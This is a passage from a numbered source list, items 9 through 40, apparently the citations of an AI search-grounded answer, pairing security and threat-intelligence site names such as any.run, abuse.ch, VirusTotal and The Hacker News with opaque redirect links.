9. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFHWo_Y067OV0_pG80o0DjWntiVEbuLRPdK6qHyWlmMciB5pRhgeAl74SeDavfTvp7VbHCBhsfa1Xnf1YdeUTL-Nd3qUwU2npwxBGVRrsqQkZo7G5zXglmz-5fuqlw=)
10. [quickheal.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFM_TQoRgoyeYHTcAIClTNSSM-ACAqPgrEnmT8XQyEnHilZ5yLR2s8enVHU5KTNcPs63QhHGZYQolimpGIFUJdjP9doVHXLxGLGvGlSQjKodJ5hlROJBXMcEbJBrK0mAsvCpElhVrgCNU6tPIOyMeK4zxwgEaq-SJH5CkAgO1TjKn9lfB8ZlN2nd_K0c7qy)
11. [virustotal.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGRZfYBrwIoU4nLxoHOmVmEx8IZW7Fh6ZHKw8-EAhn_0To-B4RUc0CT1urgXqb16wFT9JWBmzhwWP8H0RTUdxpBy-h_SArDd41F4LLZkFbfthFut4ovRvK7R-iyUOoDfOBRs-dVCedbSyZ5U7jl97OHK3irp55B1Vi3hU384Mduu0QNgxEDy2ymSFy2YDoFMlfD5EGHdqme-vz2)
12. [thehackernews.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGqe17Rwnk2JRXKohBSmmZRWx_nTXMWZj2Ujr0m4zMwoBqfODdCWqGGEch7g7leMgT0lyKPHVadqM1rq4aSGvbzzjEm_h__TdNlVykzhCMANOwV8txwTIxMpRUL400dHdTm0-3uymOza5Af4MebrYlQ2uwyq_Kw83BSYg==)
13. [hatenablog.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGIzyABbVXi945imx1OvT_tER1wXK7oqL3hcKvhVDbaPByfNDbf7HpTJFSslX7woctebwLuuUhmE19Vdy0TJ6ZA2V7kXy83yC-3k1Y8jJTjJu1zUNlqdHuBFZFV6WDsuLau__y9RbJWbpQ5TQE=)
14. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHyAHkzY_tFXTaXwC1SfsWiUPwQMJ7t9_VqtufxpOdiobLURhHCj6yZwBVuNiDCOqL0cwlL1DmLTn5gL-94WierYMLOpHFiMYVZt_jgPOMtyNbOLeI4a68b0HHltKFzMXQzGVkUgfSATsM5Tqi-hOywQOjdn0e0lPWKOWVhQc9qNPZ-wZjUin65VAlR1FaZ7jAioOB711Tq9hBKBK8iecYdgTJmXMZUNnNmi-dfqmGB6C0m)
15. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQH-XPgInswaIwcdTyMuGxmuuGXiepfjXw_Vv6oqw2vjiRNHHvQ4IhGv5pY9HzdqKoGOFOVdFlid2J62A6sQfMTjQPvCfX_TnYjl9YgDPGG_xRnegtMHjhCddrsyf2p9f7vT3kv0f5H1lz1DI4TyKkap9laZzmTnzzfMcHQOwGuuRbYhF2FC_NDdKauIB1w0iaMsg8yc8yc=)
16. [elfdigest.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFAiA0Pjnd-qme6-DEJwCEnJaAg2-uc0kqqCQI_9p-VH7IhJeD5b-G6EKPIVfWw6nnzxJmgzGdTySmNADb0-YwvdW__8BDojOKfOCqCM69eUD-JnrUWJPSyiiX9cJQroA9BeEbQCQPx1GO_VE12NGykvxSSB3g1zaYeTPMIRfYHD7pGpiajLuusgikAE6DaX0zvb1jGMx0nLAG5pmYc0W7HMcq9eK1jaiN7x_E=)
17. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGP_B02qME3qCl9rDP4Gkb28_HaTiZK_chY3kCu8px3Jm4ifqQSn-d3T8EZHSYhB0fGYjChlN2CjBv35mKf8Sgg2qTBakPmaYwsGOCFX1tfQh-MxrUaHCpM-FD-yygKpm_oFbBooXEQI715qbBgYjbvHiV-KElY3idRfLYjHRhdBFeZxbCxRPnPcCJQJGG152hfVkYHD-CSMstWILMqy_DQWM-5k34jhLs3PHDFk-T01jGH)
18. [thehackernews.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFogmtMQDM6uEJ6Y3t8chaCZPI4R6QyEglasGB5HGO0IX9XAFfmBmIyXI1za3BHNySh8QiDcbCStlkT-62s-_3GnV7WlS-G8EKfJjMQYVVCjZsl2r5iPrTIQavdaCm1xwgSYs3uEvajwcIjStz2vdYsrYO7OI0JDQ80InX_dbmoLVg9lgk=)
19. [esecurityplanet.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE3oPXpEkK-OW6X0-OQijjiVThhn7PFH15qHaa3gFRLe5Znis-cXJFYV6lbxgmPve_qRDGPRWHrJ7r-zCDmSrHkliBYQK_s-Ndx8kdnaoG4qMUdVq41jZQBDIk0x8zXK5rnIDqSJQ8wKIWeJy3XKv2aldbvxKF6fFD4typAECUG)
20. [broadcom.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGQs28M-bsTYFwjDyiVdZNB5dAa6iAYmLjIQeaEjzyg07j6aRSXq29fshMd2x4nmoObThzUDleJTz079iBNTimqVd2PwWlmSsP5VQx0vL8sXQ7NEJMfpJaNWThJR2Uult5eKvtj0FRoWkUoQlEvxHuAeMyYJnsl2M0etd3YZgBJKhB6YJBghv_KSi7KOg==)
21. [bleepingcomputer.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEW_1lw9HEwK1A7aldbsRjLxDqiiLs4x-aNa3FpwzBNxYsY-RDJ8ZuL64DaITVzi7jNIP5QST-jDR2vZJhDDJNPtnZoKGAIlupZMh9HhPsMaS1mk9qx2CrnlMlk9rWu2BzMbw2Y6Cg3gFHQ9XtV7LscCtppQkpADvuxXx8bGx5mbAf45-BHWPx5Njs-QQAbnKBpQq1fPd4U_D0Cnv0HChqDmOk45Ac=)
22. [scworld.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQELe6UC_n-AlWpC-2Z0EY-DIWbITEYAauGaTcDGVR_3mDccSv1sQf1vYXGchCVuRTGRbXXvRqL-QSfBG09uOQbAJQvySG5AfQlLZF5if9hWZHm-NCyG__KSoYD82acHt8cP8xVf4ctqzP308szRbvSlrDC_yN_OvOrj3I2NjB9g5PI-XjZQC3JuzDmfgiO-4gZvTaHnZy8Vc-UqlQ==)
23. [gitlab.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEkPic3InNjsRASMoN-J6LGkbYIXZbANJaoK0BQ2_pU-ks5G3ZAGZ8orj0dFIgelzxOJEs8VbaDWTjmFdD5yLFV5XcKzqwVItZ9gTmZjQwVA7AVO4uLmnh2_9OPXmDXhg3OCo6eoNJbBwNUxrUBsQNargbN_KvV01OaK71n)
24. [abuse.ch](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHQ6P5ntvrrnBruLvQKhQNn0IGXL7QJZATqiMKNJTOdYa2Yz384RRo6JfOEsfFLBCN0e1UTPwbKEs8hHAHokLf48iKhgjyxCGtDhlWb7KTrdEKnwCbtSBNYXCtrf4ddhbZ2DMxW54tpuB2-JqccTLLzJ0IimjuCe4g3C3V5QbszXcsZohXyEnsvr89C-9NI7XEXrRHfMsE=)
25. [virustotal.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHP2MraVhT7T3HYZWszZLFp6dhhrgRsPPhbD-DcJeJqcQLkyH0Joggz_9qvWIFL4i9PVx4DCqcDD9gc94gADhQQoJ3sCvcCgJfeyQOdmh_hwEL4mymEVtc7PuVXo64ybcYA)
26. [servicenow.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFrVIqfueh7tWWAttvZ084DIUagq0g-DfksM_kd112q9SqalCigiHUiTxaRvSXLsq-U7ypvFgWkYVg2rXvgevxEVRGmmOm8EUA09n1Zc995Gnz7aAxs2r9iBar9e-AM3IYdUvOCfk4JRe0H0CQIbXBK4lfnCpHPGvcDr1OtDwkl-AU1GD998JSXHjjzMnpLpH-vuoLXKGGMXyxua5O0sFIazJH4hYr5i9tR2f9d-EJd-gRw)
27. [schema.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEauAkW_zGkV0LKePKS_ORi8jmj3SMsQdRDIuxeYGDitGkx-zPfaSEeq65TkXA5ZdG6isZmFGIr71z46O-Y9IY1RJE7dJuJTB0auS1E37gU)
28. [filescan.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEty_aTTcqprT7j_hCOsgqxeklr8U-2drWZ50NT37ayVU5bf0wubRy5rRK8csWsE3pTkFZq-Uo0EEE6i2Zg-6Jl1p7KSyWIsfaDnqcz-cP6UR7o-xhJRxeT3_1eB6EgYknzFR_00Wya9F1S8oTOImNahpHvoNEXQB5jR8P-K2sIhNRiry6CjRmujUq47dFgg0C4UQHDhOk2RddJpv4XLqmyQ9_sKcM18rU9ifwDc3psquA8tAV4WKaL65KKHMlzRFhOlKQ5)
29. [trendmicro.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEf7IuvkLzXHDCyhSFnP0ULP76f2ICFAsV1iAbboYZi9XnviTx_6cXeDRZ2GDJrfq6Mrywv1GW76X-YYLsINiUrF8TGhnZzpjRoai8sk4yWSzUNreZ6K3FBUg4b23PNM7rHBQdxDUQ7Zcn_YBtW9Za1Il6AhHlrK4zkNR2-DKXORJfFJyuE1ZOpkyUBXm4-HEowdZCSoH7EmO56W-Xc8V89TuZCEkCWdvbrVEqPpIL7xZVfp-xqGGeLXJ1_dop2w80JSgnqBs7XP1bgGiRS2w==)
30. [wiz.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEiHZObtVyHnBgp1hYttdWZx51U_ooI9xVp5QXy1ekFAV9p5Lrh69lHPwRQTARJrjpMFu8i4_AO7aSMPdBVnZZPHV6zxc8s2XkwXB57o9IMDnadoBMDSCXPIJYNi4Zsvk5VE4-ZeDrtyERRlVVvfaX80IJW2g30)
31. [nadsec.online](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHFly0ij5ZWBQa_GUeg1NpxgNMgp9ZB4t5_jQFovLiwyACGeu6pMcn-DvCJjA_pLiOHQQPfSR_R9JVlrHEpEaHVJIMk8yFuXFhOgyiMEUuL3DUWAyuE)
32. [malprob.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEopZrPfw2ZW-20KOPZKukO3xqrbG0iQgoaO_PBqYJ8riifN3Au1NLnFlYVG86zavJMXLRmNQZpSMatwyS_32zdJYuNOtv7IePI-fndkQkheih2c7480IfyMowVgreVDsGhcJNu-4D5XVDmOKIihwHmoff5R7k1blxz11qEW4ogGgHV2sXrgi1nd8PAoKJqwuc=)
33. [any.run](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHfvMl1tzE3ggunWTf0LSPi0Qo0NCLj-R4Ke33gm8g4l_M7yJViQHLWhkFLtoTETsRH5UiLJu66NkKPTP4PUmbtG6IMWdEnIThe09xjJkV3yuHt69AEKqjOojpA3PT8ntPraVLMpJiaTI2slmpPtjkoDzLyvdxXe1KHXqoMAlrrnY9ouNdwHjMd6S6d208R0WCstqBOovWQpviPg5915yprxt2vVbfXN78-sRsm5JriJTor)
34. [offseq.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFqnSnw1O0r3dnhrbvfvqHcTlnVrR-l6O7dDyXPgWAcHnsWBUoxlTNq80YQVepzQz2aaxESokOg5OyQr64rE_LwfHgwRlteD7OedjjP6v22g_HWEB_PnSrAByECax5prJQWxCUaQor1Ls1gkpvVxCztsldpB6w-Xsh0Wwl9)
35. [filescan.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE6OMU8J9znbrSeIqqgAFiNkb8r_gGNj22rS96hRnKWmeXMf_a1l_ylyHeRdgk-WOPwSzish7LrsvS_HSgL1hL9iJxeZzO-JVv613xCkBrK4C8NGx6Ve5AuYuZ0qDQc2Ov3rluduyXIQwJHym6PzIXPNeEXpMydIUZumMuMs9RTLgSLzkBbA_lLjIKJV77aCQYErmP0D5dRtiQai0ZJurugeQH88w==)
36. [sentryglobalintelligence.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHg-NPzoHD6mcC7DIf_sFRPP4HJIV-YIKvLgHX0AjSrI98H4P1YKJreS8EVQAw82WORNxXKakInV1kbwl1kXJbqKKp4ITTfu3iigiVOyH_9E6F-Q6DTUJM8qL3b-Y56K3qWdRgoptiw4k5AiczBnG-uvJejWRZgDg==)
37. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHMRBaccZbAOuqgTD-97k7vd3iwbYbRjXR6B25iUupsW8ciD28BWrvC73j1qXr7j1_9wzvDozViIv_tM1h2Iv41zKOzyWbgjjfntm5pI6Zr1hpGH7nb3bxLPkaAhsG53R1R1YkMJLu5AbMfq21LPNGtNs3h_gL3WhmSR71eZzySiwfB0Bpm4NeNMy4oAgCl5F-glQlrAvzBNP0WIS0qwhWEZIKv80sLiFJ1FeG3m1-02zg=)
38. [scworld.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEF14iXgBoW02NF7xyvWwb7vFph5ElLIK5fDOXFWbZW-kqYKXOEoCUdAJd3kpzL_ODGXC26fi3EyB2wXEXTvXQu_ott7zmerC8Yq2OwWS1thi43lGAhOYFwckQU8S9Le7C63wo3GCuPvqqqcCyqxuDE8I1lgRcFNMUfEAgOUHsj1hyRu2tpNUI=)
39. [thalesgroup.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQG-lWR2baJJNdepDg3H0JLP_b0fPK48oWXW6tPqWLtv4hkkBSA4HzwR9P5pNUuANEUwimvplslS-5j_wvu1Q_iy2UIGFE9OjHZ9S3VnwScvi7Iegg86D8_oCVg74Xc=)
40. [ampcuscyber.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGMH1Vey_0rCAPt7dHOoFUsTKV4sU3ToAoKe_6HrlR6DmSWNTSyyY9nBnUVptDuZBAyVT8-0oyN2siwr4D3u31P9Pwlbps-bFG6A6_RtgIH6PSzgKZwvSBvhSdRrhmQbg2GjwaFpeUkMUhXzA-4ztpgTNYA6E4GKXozBLOOCBg4AR1BV1mzQZUOYkOJBkv8SzCUD_Ln)